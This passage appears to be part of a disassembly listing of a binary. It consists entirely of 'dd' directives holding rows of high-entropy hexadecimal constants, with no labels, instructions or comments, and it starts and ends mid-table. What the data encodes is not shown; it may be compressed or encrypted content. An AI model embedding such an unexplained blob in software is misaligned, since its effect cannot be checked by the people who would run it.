		dd 3809DF9Fh, 80150510h, 0AC2F4AD1h, 727E0054h,	5F6C5BC5h
		dd 0FE02351Dh, 0CF3CC45Dh, 995AC0CAh, 18CB00D9h, 2A38738h
		dd 0EA036FA6h, 3A3F6DB8h, 0EF580091h, 1E2FAE5Eh, 94181332h
		dd 6480023Dh, 66B0096h,	0E3E6348Fh, 2702C015h, 8611913Eh
		dd 0D7A880F2h, 2FD1AFh,	9289C984h, 77E9CDD9h, 0B4A9F600h
		dd 0C35AF8A6h, 19420087h, 0D62353AFh, 0B1037F6Bh, 8E1511A7h
		dd 4166C8E9h, 4E070065h, 0E6FD9208h, 78017FBFh,	0AC8F0DEBh
		dd 5FECAF1Ah, 88043ED0h, 4DB29E80h, 2CFBE018h, 0E5008071h
		dd 197DA378h, 0D124D7h,	218B0AC6h, 0B0F2D33Eh, 0D67EB117h
		dd 6EF514h, 59357AC7h, 67A5B7h,	3B64414Eh, 372C1549h, 634618C0h
		dd 3C602BCh, 4F7650D8h,	0A0E36B3Ah, 10ED8380h, 2529F500h
		dd 366687BEh, 34170377h, 0D381E650h, 0B2E0EFF3h, 2C01AB78h
		dd 9BFE7C45h, 320BAB1h,	0FBF748E0h, 5E6A1B03h, 60BBCC96h
		dd 24F064A3h, 0C8003AB0h, 9A3E77F8h, 0EE1848h, 0E6367ACh
		dd 0D3DBC1B1h, 0BB4C3801h, 0BEAD866Bh, 0AB75E0CEh, 0FE2D38F8h
		dd 9760B480h, 38B806EEh, 1A282106h, 0B011E251h,	666700A0h
		dd 354D1187h, 0EC04E196h, 0B97E8DB3h, 81536780h, 0CE1E0E89h
		dd 79C018F5h
		dd 3C746D7Ah, 0BF269800h, 0E3FB9B7Eh, 3EE83F51h, 0D0EB0900h
		dd 26B7588Bh, 3200B67Fh, 0B86E345Dh, 0B395D1h, 7AA47045h
		dd 0E0CDF13Ah, 68398D00h, 554D60BEh, 0C9211FF3h, 0BFF7C00Bh
		dd 0F936B70Dh, 0BB916113h, 77599D07h, 0B99CBC31h, 0F7E80CD9h
		dd 3698FAh, 24BE47CFh, 0D6621FB7h, 0C3D7A200h, 0D954C7Bh
		dd 14C601D4h, 0EDE98A97h, 2BF2D007h, 0E4240F00h, 0EE89197Ch
		dd 426007DFh, 63710DCCh, 50AB9B36h, 5294D818h, 72C00190h
		dd 5E6F0963h, 74003178h, 0D5977750h, 0ED033378h, 0D2907CC1h
		dd 0CDE6C825h, 4C1200BAh, 0E0661636h, 1D00157Ah, 6F3CA5ABh
		dd 0D143F0h, 0F7BFDABEh, 7F96B95h, 62C7341Fh, 0CC893800h
		dd 7179DE3h, 0E9DE0EC8h, 11E2A66Fh, 0A5602109h,	0DD28005Fh
		dd 189E7D79h, 9875EEDAh, 6100112Eh, 22D446C5h, 0FD8B073h
		dd 7EEFCEE9h, 1A97C03Eh, 0F44E91FDh, 13E27100h,	11E6E882h
		dd 1BFE09D9h, 28208EB8h, 5A3CA769h, 9F79E200h, 594CFA0Dh
		dd 0E01980DCh, 0B94B400h, 68362CB7h, 0E47F0029h, 0F4D48BE6h
		dd 4A128010h, 6440BE26h, 3D9D11D6h, 2C0F0018h, 0E8D891CAh
		dd 4E005FEBh, 4345E34Ch, 91965041h, 40768010h, 27CBEEEAh
		dd 0E5936626h, 37AFE600h, 0C0952Eh, 2ACDB660h, 0D753A103h
		dd 4C62B530h, 6C3EC7h, 66C176BEh, 0F88715DDh, 0DA005492h
		dd 17684B10h, 90C4B370h, 0A7F20AC4h, 80ECF454h,	9D63A13Eh
		dd 3D24230Bh, 100E68B1h, 80AA6FAEh, 3F0FDC34h, 62050059h
		dd 0A03A1D0Ah, 0BB183788h, 0D9B8F5B2h, 0AF3600B8h, 252F47F1h
		dd 0A70005E2h, 0B64014D8h, 0F754C89h, 92DBC88Ch, 0F0386A67h
		dd 2F2CF955h, 40070F00h, 0A4904CF0h, 0FDAD1DF3h, 17B4C3BCh
		dd 27C849DDh, 4500239Fh, 3204F19Bh, 7625DBB2h, 129C0944h
		dd 18A031F0h, 0A09F45A8h, 6C56F200h, 32C1D8F8h,	9AAC0724h
		dd 52253021h, 868F49Ch,	1F1398EDh, 88F8D4C5h, 88E64115h
		dd 370ECF00h, 0C5632686h, 3A7408E6h, 527A9CA0h,	51A7BB03h
		dd 899288D9h, 802097E8h, 7DD800EDh, 0ECEBE84h, 6400385Eh
		dd 0A172B5F5h, 0C20CB9h, 0BE92AF2Eh, 9D6C55FCh,	8024B33Ch
		dd 0C0606898h, 9A3950FDh, 538E0004h, 0A2CC1B67h, 0FE008375h
		dd 64494FE5h, 0E7E4B3h,	0DD50D55Ch, 0B8482673h,	0B29F6B00h
		dd 0DB448279h, 54E60415h, 0C1BA4243h, 8737A7C8h, 80C12D58h
		dd 8EDD0132h, 0C007F280h, 4F2096D0h, 5C73C4CCh,	0D300543Eh
		dd 0F6EC083h, 3400E8BFh, 0E20A270Eh, 3D6DE368h,	0D8935210h
		dd 0A8702C90h, 828E1E02h, 0E0C932EDh, 1633CF63h, 0D28366h
		dd 99A30F7Bh, 6001F55h,	9D6E53C5h, 0D7C0B7h, 8A4F618Ch
		dd 0CD5F4D4Ah, 406F93Ch, 38339ED0h, 6C41CCC9h, 0E30C500Fh
		dd 0D9E5200h, 0D66C911Fh, 0B76D00C0h, 0E16E38B6h, 5A00B4F3h
		dd 78729426h, 2C7DA2h, 88A18418h, 0F1BFB1D0h, 88072928h
		dd 794EA39h, 0B912E2D8h, 56C00AC5h, 0EE8FA91h, 0F65B8ED3h
		dd 7A645460h, 630045A1h, 366B1EE6h, 338B9D7h, 0C19FC68h
		dd 0E4E0F12Bh, 9005B6Dh, 0BEEB458h, 0AB7404h, 750F1657h
		dd 1B4238BBh, 3FA78E03h, 0C06FA2AEh, 2E617Eh, 75F0D3B1h
		dd 8B926AB8h, 886EB000h, 5D30CE26h, 38E70033h, 1C659A0Eh
		dd 23AC0F2h, 0D73F0037h, 0CA05A8BCh, 0C3CD50DAh, 89DC002Eh
		dd 2A4B115Eh, 427F1B0Dh, 75E33100h, 0A3645341h,	83F7245Bh
		dd 39784810h, 0D68005BBh, 0C1B61E2h, 8970D28Bh,	20C04D6Ah
		dd 5A422506h, 3A26244Ah, 0A1B48BC0h, 0C418CC12h, 0B00DDD5h
		dd 920CB275h, 72E6B06Ah, 7C100197h, 2028D263h, 0CB5A60DFh
		dd 70E4BC00h, 0FAB50190h, 0FCAB83h, 59CFEA98h, 70FD43ECh
		dd 29BED600h, 767CA75h,	2523005Fh, 4D41F364h, 9860C5D0h
		dd 0E3E43190h, 0BD60038h, 5C29972Eh, 270C8859h,	5964FCD2h
		dd 9A1112A5h, 601EF6h, 226F6DD3h, 0FA1C6C1Fh, 1A829D2Ch
		dd 4017F82Eh, 32FA0A0h,	0FBEB16B4h, 3904F6F4h, 715BA6B5h
		dd 0A1BB20D1h, 944583EDh, 0CD67C90h, 620B2CD2h,	0BD2B61FCh
		dd 0A871308Ch, 4884F62Eh, 8A71DA04h, 0B02FC0C0h, 0F48539C7h
		dd 0FAF2010Bh, 9080EC8Fh, 7697B5A8h, 86E8C400h,	150C2C6Ch
		dd 845A009Bh, 0E1DB5F8Bh, 6F000FD3h, 8609CD5Bh,	1D53F5D2h
		dd 0F00B1F59h, 1594CCB0h, 4D034EF8h, 34F11BFFh,	4A7800AFh
		dd 0C8435EFAh, 0C99DAA8h, 27752109h, 0B3809BFCh, 503B6FE3h
		dd 0CF1F0B9h, 0BDCE0B43h, 95059240h, 94C26399h,	0D2B5B0C0h
		dd 0E0760150h, 0C7CEB408h, 4A3981A2h, 0B168D435h, 63D1FB00h
		dd 6DC8700Bh, 690B8C1h,	183E0AE6h, 8A68C652h, 82B8761Ah
		dd 0E017AEF8h, 0A365EC68h, 975EEB00h, 1DF2C5Dh,	0E9280111h
		dd 0C9D4BD93h, 4BA8E7A0h, 7661FFCDh, 0D7FA3F40h, 0BD93530h
		dd 7E89DB8Dh, 0D44D34A1h, 66CAE81Eh, 0F48E4Ch, 0C4EAE931h
		dd 7272D260h, 0AD942FD3h, 7800EA5Eh, 0F87D6B4Dh, 2B3100E3h
		dd 2784EE36h, 0F00A425h, 0BEED3B68h, 5A5C8Eh, 0C132B2B7h
		dd 0DC44FFCh, 5342B000h, 915054CFh, 0D0B8021Eh,	77F9EE76h
		dd 0DA013740h, 0DFA3A106h, 0B4FEADh, 0DCB16F8Eh, 902EC04h
		dd 9877E600h, 64E2BA0Ch, 27E5E9B6h, 5052828Eh, 55DA7640h
		dd 3739E085h, 9DB888h, 6B2B5821h, 0FABC5F2Dh, 0FD72007Dh
		dd 0AAAC050Fh, 51003B26h, 65D9697h, 3AC5099Bh, 0C0CCCAABh
		dd 0FAB81800h, 7A35552h, 0B699702Eh, 83C4D07h, 295A478Fh
		dd 573B0990h, 0C6AB054Fh, 8033514Eh, 3E7C6909h,	2273D500h
		dd 0E3AA39Fh, 60DA6029h, 78C93B1Fh, 0BB05A5FAh,	9E55D3BDh
		dd 0D98FA4C0h, 58D00BEh, 0F6146DB4h, 0ED7EC26Eh, 0B15C7277h
		dd 75B51F78h, 70C06807h, 4A735872h, 0CCFE055Ch,	2DB3C8D0h
		dd 0A52B0095h, 14229ED9h, 6805ED67h, 4A0488Dh, 10C26D80h
		dd 0EC4500FFh, 0E45CE6A8h, 4801BB28h, 0B9CC4903h, 4C5085BDh
		dd 0B4A39CFh, 0CAF4B43Ch, 0A40FBCA0h, 5700724Ch, 849ED81Ch
		dd 30BDE00Ah, 4D395680h, 80FFBE76h, 0F5BC87A0h,	0E98AB6FDh
		dd 0A15E604Ah, 56008F7h, 7BE18000h, 0A60BE45Eh,	4C2A011Bh
		dd 0E4445A3h, 0DF356011h, 0CC907C02h, 43492C97h, 1A38A06Ah
		dd 0C21D3AD1h, 0ACE4E583h, 3C90A1D5h, 1500440Fh, 0D2CD7B33h
		dd 1C57C616h, 5E7DB186h, 4DBEC0E4h, 312C215Ch, 37D8EB00h
		dd 9A239E0Ch, 1F8F00C7h, 0A4CE29F8h, 1E000738h,	0C2D4E833h
		dd 0DEBBF250h, 1E27D7E9h, 0F625C066h, 705BDD5h,	1967DCB0h
		dd 44F57920h, 0F68B9400h, 15097Ah, 0EF0A3DC5h, 0B7D5E832h
		dd 9B33B0A8h, 5F1DCF01h, 0B6724083h, 2D96208Bh,	0E9C50A0h
		dd 74381165h, 1CC60A61h, 5283A068h, 0F3580h, 0B3839728h
		dd 393CAD9Fh, 0CC15D630h, 7E110A0Dh, 43690630h,	583A9B04h
		dd 0C9DF4730h, 0C8B83Eh, 8577DE5Dh, 8C8F7117h, 6072B43Bh
		dd 5F86F321h, 783F00EEh, 9780391Bh, 3D004167h, 7309E21Fh
		dd 7379F68h, 30AFAB4Ah,	9B95801Bh, 9C605699h, 1309C571h
		dd 37F0F4h, 0AED92974h,	0D7630E9Bh, 0BFACC000h,	41A86C01h
		dd 241300D4h, 0D21D33B2h, 5400DEF1h, 0E299A9A1h, 391C7D30h
		dd 628080E3h, 19CD7E52h, 441E723Bh, 0D580B3AEh,	951104ADh
		dd 81BC1EE2h, 0D74CC731h, 989EA038h, 591FCA4Dh,	1D402A9Dh
		dd 8D4833FDh, 0E0E40279h, 2B7D24BCh, 718397E0h,	67A04E00h
		dd 1B9145DCh, 0F67A1FECh, 50660688h, 0C100188Dh, 0E5A2C416h
		dd 42EAD40Fh, 6D611F4Ah
		dd 0DF233D00h, 358BA2Eh, 2D7EB86h, 0EA0E80Fh, 0EA008C98h
		dd 1CF146D2h, 65C7BA9h,	0AF486323h, 1B72FE62h, 5F4418C0h
		dd 0E8D9CD08h, 0EDB90069h, 1C3B33FCh, 1DE8344Eh, 61012200h
		dd 47F3DC84h, 821A1C9Ah, 9960808Dh, 0A3D4553Ah,	0FD86FF1Fh
		dd 81B035C1h, 0E0DC73A9h, 0FBDA00C1h, 59367C3h,	0B6010196h
		dd 5A3FB191h, 8CFCB247h, 0D06203DEh, 0D1531059h, 87B009A1h
		dd 0D7895120h, 0D38B28E0h, 5900015h, 39C73E7h, 10775853h
		dd 0AE808C00h, 6883EEC1h, 5527CF6h, 663DAF59h, 36340790h
		dd 8FF779DBh, 10341460h, 0FD00866Bh, 408DFD7h, 0CCEB059Eh
		dd 0BC002193h, 5CEFB594h, 7BCB0C56h, 0B7B11839h, 788739D5h
		dd 0E4345A00h, 56108498h, 63741D9Fh, 0F581409Dh, 0A0CFDF52h
		dd 4439DD00h, 0AF50DE77h, 67583036h, 0B4A65D79h, 27148403h
		dd 80399240h, 0D9E535h,	675A3DC0h, 85766166h, 65B742Ch
		dd 32AFFF07h, 0AD7043h,	76480120h, 0D587F4Bh, 0C3CD6406h
		dd 615662h, 0BDAEF612h,	5EF7E9AFh, 0E4956400h, 71399FD5h
		dd 933F00B2h, 433484C2h, 0CFF6E899h, 556386EEh,	0E7B54A41h
		dd 620C6AA0h, 5D6B03E1h, 1F44AAFBh, 93D750E7h, 3E1DD3E9h
		dd 7809276h, 0CBB05BB9h, 61A70934h, 0F77847h, 53E39494h
		dd 3ECFAB1h, 1C97FE30h,	41E33B2Ah, 2EA1359Bh, 8220804Dh
		dd 0CADE0C87h, 58D8007Ah, 8095EDE1h, 7201771Eh,	1FF4DA13h
		dd 8FF9F635h, 80226191h, 696CFE31h, 103C43D2h, 190056CDh
		dd 5F3A0C84h, 230070DFh, 81691BEFh, 0FE157854h,	92F31E9Bh
		dd 0DFDDF1h, 84B64131h,	7D06CD81h, 0F82C3DBAh, 0BD130C21h
		dd 0CC59415Eh, 0CABFD803h, 0B2D574h, 6305F610h,	0F558AE6Ah
		dd 5B2AB618h, 0CF39FD08h, 40001520h, 6554A10Bh,	0DCA72400h
		dd 7991438Fh, 8EC2002Ah, 6A996131h, 0D602E269h,	92600CF4h
		dd 0D7B685C7h, 0CE3D8400h, 0C7891EFh, 8248215Fh, 4D304AE8h
		dd 9FBB9940h, 0D9110024h, 91CC16F4h, 6D60B2C7h,	7A8BB540h
		dd 631C00AAh, 34436BF2h, 8000546Ch, 0BEF72594h,	18E346F1h
		dd 0B69E7A90h, 5C07F451h, 62C1799Ah, 9F6D27B0h,	7C250089h
		dd 45B9018Ch, 34034BE3h, 83BF8F04h, 3400048h, 0F1E5ECDAh
		dd 28005024h, 0CFFFD997h, 5157F8h, 0FB63A46h, 0A67F7C6Dh
		dd 0D1B5E126h, 0C7421D00h, 66327Bh, 9893A791h, 25EB194Bh
		dd 3C448B01h, 0D813A9F0h, 18E236E0h, 704ACB1Bh,	82005CB8h
		dd 8B56420Fh, 3CAC211h,	707E55CEh, 480094F7h, 4FA248E3h
		dd 13A1F6Fh, 9372079Dh,	0ECF67681h, 4CFA65B9h, 2E455F00h
		dd 366235FFh, 20051C09h, 23A70B91h, 0C0553E86h,	2DFE2400h
		dd 500EBBF6h, 0BE4B0077h, 0C6296CE1h, 7019F6Fh,	939C2839h
		dd 6EE5F9E8h, 0C78F2BF0h, 0A3A08688h, 990096A9h, 48B70DC5h
		dd 0D98CACh, 107FE1E4h,	0C1855969h, 6F13A701h, 8B0D653Eh
		dd 883DFCh, 0AFBE221Fh,	21D5A4F2h, 0F92C8700h, 0EEDFBA6Ah
		dd 0B735394Dh, 0DBB2EB80h, 0C20F4E78h, 9051DD00h, 30F28485h
		dd 608A7472h, 0BA2421C4h, 90049DDh, 351887E3h, 2D75B90h
		dd 0C4B82B84h, 0E9607C7Bh, 0D0310216h, 0A61B6058h, 0D208500Ch
		dd 0C294A9D3h, 1600DC07h, 0F026DFA8h, 594A1EE1h, 70F58006h
		dd 0CA7B42BFh, 1214BE06h, 0EE50AF58h, 73BD98EDh, 29BC0699h
		dd 7801B286h, 7997CB02h, 1A48E4Eh, 0EC126EAFh, 84008CD6h
		dd 0C90FCEFDh, 18FD533h, 3F32993Dh, 83B8FEEFh, 160EAFA9h
		dd 96AE8056h, 0E7C20040h, 4B732D0h, 0DF305BBEh,	9C6218ADh
		dd 0B8FD0F78h, 8180ECF5h, 0AF4BED0Ah, 128EBB03h, 0C0A9B646h
		dd 743874B5h, 977E004Ch, 0DF9BAF4Dh, 0E700E8D4h, 7699E15Eh
		dd 2AEA72Ah, 7D49F6A3h,	2D4078CCh, 0EF48887Ch, 0E02D1D1Fh
		dd 0F905FD40h, 705026h,	95C81C01h, 0B4DFE4A2h, 0FE86D300h
		dd 0C6786F8Ah, 2780002Ch, 0B053F657h, 0B800E59Ch, 6FA62BC1h
		dd 1FF03165h, 40B7DA77h, 5C765E29h, 4F7AD81Ah, 7AF9AB58h
		dd 2405F300h, 0AEDED030h, 1E1BF4B6h, 40867CADh,	1C6C684Bh
		dd 5500EAD5h, 2718EEA6h, 5410C1h, 76E01D79h, 5F401CB7h
		dd 3C937000h, 47E6B437h, 2C7F0CEh, 67FB942Ch, 5EC0F275h
		dd 0D803EAC9h, 9A4D39FCh, 62ED83Eh, 336F00E5h, 0B5058C64h
		dd 73071BB0h, 494A1F94h, 97D726A0h, 4DFD0028h, 0CE799330h
		dd 2A07E457h, 624FE6B6h, 7D701B07h, 395327CAh, 0A880A08Eh
		dd 9F40DF1Ch, 1400CBCFh, 0C497633Fh, 2C1DACh, 0B88D9172h
		dd 239B9A44h, 8096F03Fh, 0BBA2A8Eh, 0D9D1CDh, 435A1775h
		dd 2E87BF15h, 6409EB00h, 0F129E09Bh, 0DA480C78h, 0C628D6A4h
		dd 10146720h, 3C08450Fh, 0F0208Ch, 76F2D5E8h, 198FD217h
		dd 0C48C4480h, 42155851h, 3D8DE4Eh, 791C3ABEh, 33202812h
		dd 0DF51EE84h, 2811D5D3h, 6E18422Ah, 0E15051C0h, 6B6D29C2h
		dd 21605D4h, 0F991E64h,	8EDFC03h, 0CD7E8A29h, 843D6208h
		dd 0A0E1012h, 9F043C88h, 501FD218h, 83B3003Ch, 0A29A500Bh
		dd 9CB20076h, 85D51F2Fh, 0C9389E88h, 585D001Ah,	896A3428h
		dd 0C0D7E326h, 67E60Ah,	53AACAD5h, 4968C343h, 3814C000h
		dd 0F62AB76Ah, 32EB0042h, 25E44E80h, 4400DC5Ch,	88C438C5h
		dd 270D672h, 0DACCF1ACh, 0A241750Ah, 3FBB40D8h,	7B0709ADh
		dd 1BDC8A0Bh, 0A6E303F0h, 0C490A3h, 6606649Bh, 2698CB34h
		dd 0DFFDCF00h, 6C7E5E5Fh, 3AC800F5h, 34C143AFh,	6500BA28h
		dd 35E961B6h, 16FCDEh, 0D4580806h, 0AD4BEC23h, 8F6EA73Eh
		dd 8101D5C9h, 5EE835F8h, 5575C0h, 0C29C6F53h, 0B3CF1B10h
		dd 0DCD43Ch, 0E0B43007h, 1DC5D18Bh, 80404BBFh, 104ABED7h
		dd 0C93DF27Eh, 9F82805Bh, 0FE03BA2Dh, 60FB008Fh, 80AB9D9Ch
		dd 329090E8h, 0CA6B6600h, 5331027Ch, 13039FAh, 0F8918C03h
		dd 48FE474Fh, 79AE1800h, 0E955928h, 0BB033FDFh,	0C8620980h
		dd 0C53EAAE8h, 0B8165C00h, 1EDDF3D9h, 24223F34h, 0DCF86180h
		dd 0D5DA354Ah, 912A7000h, 9949FA80h, 73DD3923h,	3ED43800h
		dd 5FEABAB9h, 9D76D773h, 0CAB39600h, 69D091D9h,	48B40360h
		dd 0BC56E04Dh, 6C1AB9B0h, 7E645000h, 12D5A26Eh,	8E7400F7h
		dd 8709343Eh, 51EAE604h, 9D837600h, 7872A928h, 0AAC8008Dh
		dd 0A412A3D6h, 1800141Ah, 9E2629FCh, 1E2D9276h,	8FDBEBDEh
		dd 0A5004805h, 42C5BDEFh, 772A5400h, 0FB22BEBCh, 683807B3h
		dd 3081799Dh, 507FDBDCh, 0BBE28B07h, 648CBF69h,	63840029h
		dd 65FB4C20h, 0B7014911h, 92DAA86Bh, 94ECC79Fh,	55610066h
		dd 7CE45AE6h, 0C57B9A63h, 0AF6B8300h, 2E5421B9h, 7DEA0053h
		dd 0A9841672h, 5E03F085h, 0F497502h, 0BAFCB09Dh, 2F1E002Ah
		dd 0C0215D24h, 0E500C31Bh, 0C28FB72Eh, 656A11h,	229E70D7h
		dd 5672AEB8h, 0D6788600h, 8A732891h, 0C9E200D4h, 3CADB610h
		dd 0F000F18Fh, 0BF67D3B2h, 90822176h, 0CB370E48h, 0E3002E29h
		dd 1C572064h, 4179D00h,	0C6E55850h, 7FDD00FAh, 0B416256Ch
		dd 8FEA4E8Ah, 1300F979h, 0A7E417B2h, 1923E1Ah, 2489B923h
		dd 0E027A6D7h, 0A000775Fh, 0EEE4E067h, 0FA9D92Ah, 47DE1B7Eh
		dd 0C0341860h, 0ED000274h, 0CC721373h, 2C701A08h, 806CA4C9h
		dd 0E06FBA3Bh, 689001C8h, 0A706E900h, 0A6589124h, 0EA9E0041h
		dd 85DA95CBh, 0B6E29BCEh, 0F3007675h, 5389F44Ah, 0FF78F7h
		dd 9AFA3003h, 48402346h, 68451A00h, 7D659D74h, 0E163050Ch
		dd 80B469EFh, 5697CE23h
		dd 6A0FF801h, 8E25F6DAh, 2126ECh, 5FCB7CE7h, 0D0C7BC87h
		dd 0AF6C3700h, 0A4E35714h, 131B0343h, 85E23046h, 9BA93288h
		dd 0C4CB020Ch, 99283Ch,	0C66C405Ch, 50C8D129h, 0B78B1D00h
		dd 0CEFA1603h, 0B5D90064h, 423DE0Dh, 6B01CC5Fh,	0DCEB2FFFh
		dd 0A6C0B86Ch, 0C67A0168h, 8F57DFBBh, 0AAD860F8h, 76149C01h
		dd 72EB237Dh, 0F3D8E280h, 0BD91961Eh, 2A412401h, 0A367C5CFh
		dd 1C61B8F8h, 4F2D5880h, 0A7604218h, 0E7FAF6D0h, 2A75D7F4h
		dd 0FC938300h, 20619589h, 0A69D0084h, 0F54089Fh, 53F0991Dh
		dd 910093FAh, 0D8389C14h, 1C0DB032h, 5DE350DBh,	18EBC012h
		dd 0C4BFB576h, 0C6006B7Fh, 0A32ECBE4h, 26BD24BAh, 0F5F05Ch
		dd 0F6053E79h, 0F4EDFE8Ah, 930FFB7Fh, 0C01CBB9Ah, 9B6BA6DFh
		dd 9E3800F9h, 2729A260h, 7000D47Dh, 59917BDBh, 247F199h
		dd 1295E3DAh, 0ADE0B0ECh, 0F8FCB81Bh, 6A1C151Ah, 4283C011h
		dd 6C6D0046h, 5790A462h, 0E000C10Ah, 3B22566Eh,	272BA7h
		dd 54F342ADh, 72D7A9E2h, 4AAB3D07h, 809E319Eh, 0C168DD1h
		dd 0B1FA00EEh, 33F38A83h, 0AA0065DBh, 9B3287B0h, 846E12h
		dd 0F1F8E8FAh, 42487AC1h, 67B6DD00h, 0F9CDE7BAh, 24640007h
		dd 0D6831D7Eh, 2800955Bh, 0F711C803h, 4DF2AAh, 0A9EE9F47h
		dd 3614208Bh, 96C79301h, 0ECFAB845h, 1F7CCE8h, 3B780E11h
		dd 0F49A4008h, 71B05830h, 0DF2A302h, 0C0BA41D1h, 3EB30A69h
		dd 0AB80F8F1h, 65C5C92Bh, 0BF009D53h, 9077B10h,	74B782h
		dd 0D461556Fh, 47D6AB2h, 790F7600h, 7083056Dh, 9E708Ah
		dd 0F11F8422h, 0BDE2D72Ah, 179C7800h, 5DB043A0h, 0CE34007Ah
		dd 1228B94Eh, 48007DDEh, 0A74D51C6h, 9495C9h, 0F2682C61h
		dd 9FAEDD04h, 2289C58h,	4EF00E69h, 0C2546038h, 0F6BD0FF3h
		dd 0DBA05A8Fh, 9A13AD7h, 154B1300h, 0FF064AA3h,	760F0056h
		dd 0AA8AE484h, 2E0FA739h, 1305959Fh, 60086C00h,	902CEC72h
		dd 1C590081h, 91921237h, 1748D0FAh, 8C1C7124h, 897CFCC2h
		dd 80B773BAh, 0EFB56640h, 3E893B08h, 0BE8FB858h, 1F90E920h
		dd 8501D062h, 34A50A39h, 0BC60F5D9h, 2C743F2Eh,	9FF11C00h
		dd 0DFEBBF48h, 0E50BEEECh, 80407FC1h, 34B59900h, 3068C18Ch
		dd 6094080Ah, 8800CACAh, 3C2A27F5h, 517055h, 91EEC6D6h
		dd 60C76FD5h, 4D0AD309h, 0BF89558Ch, 0BCD1C700h, 190E1F39h
		dd 0C04AD542h, 43407C76h, 7D9BB816h, 27EC051Ah,	0C232D059h
		dd 0A2E0BB33h, 0B4A0FD81h, 0A40066C1h, 0AC2C6BB5h, 92B12Bh
		dd 17935D55h, 3B1CE153h, 66902200h, 0AFDCCC2Ah,	0D1C9001Fh
		dd 24DEB7B3h, 0EB00EC0Ah, 30FF63F3h, 0F7C135h, 0FD132D84h
		dd 704BC43Bh, 34D1E52Eh, 0DF42A300h, 4AD79Fh, 0A8AFE0B5h
		dd 9592C60Ch, 5231FF03h, 0A0C55159h, 0FC50B067h, 0C8440093h
		dd 0F13436E0h, 0BE002E61h, 5B4847D7h, 0E47EAEh,	0A62ABD33h
		dd 36C6CE9Bh, 7D397C00h, 0D35DBFFDh, 0B65F03C9h, 83D6CFCCh
		dd 0B9417698h, 0C1127200h, 9616924Eh, 5A4C00E2h, 40A9058Eh
		dd 9D008618h, 2AB76874h, 13B04B5h, 0B91A2813h, 0F48EA03Fh
		dd 6BEDC885h, 436AB00h,	0F79CD29h, 21D11BE2h, 3CDF2020h
		dd 0E40039ABh, 92A409CFh, 0F2BF85h, 56910CECh, 2FA03B5h
		dd 0FB6EDA07h, 0D4C0BCD7h, 0F5FDFFh, 0A0117A54h, 6CDDA96Fh
		dd 0FBAF1A00h, 0CC3DAA6Dh, 0F1EE4Ch, 67409B89h,	0A480D9D5h
		dd 25ECA100h, 0BA76FEF8h, 993EEB4h, 0AEEDC486h,	2933A780h
		dd 9700DBCEh, 7F06A4BCh, 1F606B5Eh, 0C4B3F96Fh,	0C0EC9934h
		dd 62BF1BCCh, 0BAD13600h, 1125DC31h, 0B3490015h, 60855D4h
		dd 0FB003ED5h, 99C26016h, 0F810CA1Eh, 90A10E7Bh, 0C341E66Dh
		dd 70B2C6D5h, 0F5000AACh, 47DB7ED9h, 672251h, 1908444Ch
		dd 1360FD1h, 6800D0E6h,	60F881FDh, 1C158B28h, 0C1E5DAD7h
		dd 7786D94Eh, 98BAC83Ch, 4F4A4100h, 700D05E7h, 0C99433h
		dd 0ED1434A7h, 0AB188C52h, 0AAA87720h, 6E0E03B4h, 9C7B6713h
		dd 0FCB95BE0h, 16CE9903h, 0C8791270h, 0DF550Bh,	787DAAD8h
		dd 0E1B7BB95h, 0A04E2A00h, 94852597h, 0BAAC00E2h, 72D47B1h
		dd 1B1DC4BEh, 0D62D5716h, 0C702F2Ch, 4E9BD800h,	623D26B4h
		dd 0CA680FA8h, 93CEACDFh, 70B9C1BCh, 7061723Fh,	290E316Eh
		dd 0C39DEE79h, 8059CA07h, 2B6B9Bh, 0AAB90E5h, 0A42CE38Bh
		dd 0EA0027FEh, 1551CD4Bh, 5305B2h, 17BF3ABBh, 2AE31868h
		dd 404B292Fh, 0BE0612h,	75420E53h, 474435C4h, 824A0F09h
		dd 30D880FBh, 64C732h, 459FD92Ch, 54BDDD06h, 0C822F900h
		dd 305BDF9Ch, 0FB6F00D7h, 2A4CABBAh, 0B2186410h, 0B13A6286h
		dd 54CD170Dh, 344C07D3h, 434262EDh, 0C18B34C0h,	25092A00h
		dd 183F67CCh, 0B1360164h, 8D0E036Ah, 0F5074AFh,	0FCEC2F1Ch
		dd 208F4201h, 0D0C07CD6h, 75D1393Ah, 0E0CD6580h, 21735A17h
		dd 0FED72B03h, 0A8A12014h, 34E285h, 78CE1575h, 3641BAA8h
		dd 0EA6F4603h, 0F9BBB38Bh, 57C8F1DDh, 2B7FE08h,	879FE921h
		dd 0B880ECEFh, 0EB0AF562h, 9311FA03h, 88238DD5h, 0B03954DBh
		dd 0B1A418FCh, 8974D081h, 0C5EABC00h, 10D2F0ADh, 8AD91F26h
		dd 92FD0056h, 0B9831DEh, 0A100F2FAh, 377DB023h,	41743Bh
		dd 9D081E81h, 4295FCBDh, 8210F601h, 0B8EA45D0h,	0B29A8340h
		dd 0A7C10088h, 0C45ECB6Ch, 9809BF09h, 80B853D1h, 0E4F0144Fh
		dd 1B9F092Ah, 6482CD5Fh, 0C2311Fh, 372B0C80h, 0B603578Bh
		dd 3844B8D8h, 7EB58049h, 0FEB0050h, 0EAD295BAh,	0BB00C511h
		dd 0DE9D3BDFh, 4E7178Dh, 0B9BCD970h, 2507FFE4h,	0DB007947h
		dd 1DA728Bh, 0B7CFFC78h, 87CE6EB9h, 0A1BCB32Eh,	99820300h
		dd 4C66029Ah, 2DB887AAh, 0FEDD540h, 8D40C894h, 12219C2h
		dd 0E27D3A05h, 0D4EEDB21h, 0D9009050h, 6C0B94C3h, 4545839h
		dd 0A657631Ch, 0B9E8FACBh, 803D13h, 229F34E4h, 0FF07C02Fh
		dd 535F47D6h, 5E61C470h, 9D800097h, 6FDAC8Eh, 28FA6598h
		dd 13A25800h, 6D73F20Eh, 0BE0300E1h, 84592912h,	4D0C10D9h
		dd 18D8524Ch, 0B0DC008Dh, 0A68C9704h, 0BA2C93E9h, 3B1F8484h
		dd 9C07FC0h, 0ABFFBBh, 1D599B40h, 74F944BAh, 2F69DF01h
		dd 0D664C6E7h, 1C166CF0h, 0DFBD7505h, 98DD80F8h, 6B2F7EA6h
		dd 41C30400h, 0B4B60B3Bh, 19A0029h, 0F8D74443h,	5C130761h
		dd 0D5048083h, 0EC03DC3h, 95CFA6h, 5DE9F660h, 8E972BA9h
		dd 63669400h, 0A908FDFh, 273902C4h, 3CBB0D4Fh, 88FA0840h
		dd 387E4900h, 8567B34Ah, 41BD0464h, 0C07F5AE5h,	621443D8h
		dd 68F38E0Fh, 0CC05FAAh, 20582E73h, 7E0200E2h, 34089FBFh
